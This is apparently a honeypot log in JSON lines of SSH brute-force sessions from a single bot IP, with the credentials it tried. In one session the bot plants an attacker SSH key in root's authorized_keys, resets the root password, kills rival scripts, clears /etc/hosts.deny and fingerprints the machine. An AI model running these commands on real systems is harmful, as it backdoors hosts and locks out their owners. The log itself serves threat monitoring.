{"id":"6ab027d5-570c-44cc-ba48-b115e3f0a633","name":"gloomy-early-wallaby","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40594,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":750,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:38:07.941746+00:00","ended_at":"2026-08-26T13:38:08.705878+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2093,"events":[{"seq":1,"at":"2026-08-26T13:37:46.660432+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:37:47.411307+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:37:54.649540+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:37:54.650245+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:37:55.398249+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ZyorPPWrJf9K\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T13:37:56.147818+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T13:37:56.896786+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:37:56.897321+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T13:37:57.648171+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T13:37:58.234398+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T13:37:58.987964+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T13:37:59.870391+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:38:00.622719+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T13:38:00.623491+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T13:38:01.373894+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T13:38:01.374362+00:00","kind":"output","latency_ms":null,"data":" 13:38:01 up 6 days, 10:28,  0 user,  load average: 0.14, 0.13, 0.1\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T13:38:02.123347+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T13:38:02.124094+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T13:38:02.874688+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T13:38:02.875415+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T13:38:03.625051+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T13:38:03.625600+00:00","kind":"output","latency_ms":null,"data":"top - 13:38:03 up 6 days, 10:28,  0 user,  load average: 0.14, 0.13, 0.1\nTasks: 119 total,   1 running, 118 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    7149 free,    8738 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T13:38:04.375525+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T13:38:04.376170+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T13:38:05.126718+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T13:38:05.127408+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T13:38:05.878517+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T13:38:05.879032+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T13:38:06.628925+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T13:38:07.193046+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T13:38:07.942500+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T13:38:08.468380+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Qwe123@@","method":"password","accepted":true,"tier":"other"}]}
{"id":"2e6ab4f2-5c43-44b7-8a43-6a8a45489a82","name":"blazing-sunlit-cheetah","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40596,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:37:52.620123+00:00","ended_at":"2026-08-26T13:37:54.409641+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"8573fcf8-0b76-45e8-a740-03fb3b67dfee","name":"jaunty-gnarled-wolverine","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40595,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:37:49.161259+00:00","ended_at":"2026-08-26T13:37:51.122876+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"c22ca6a1-cfbb-4ad8-8dbb-28b19328164c","name":"sooty-dapper-hornbill","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40593,"username":"ruslan","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:31:15.565894+00:00","ended_at":"2026-08-26T13:31:17.251579+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ruslan","password":"Ruslan123","method":"password","accepted":false,"tier":"other"}]}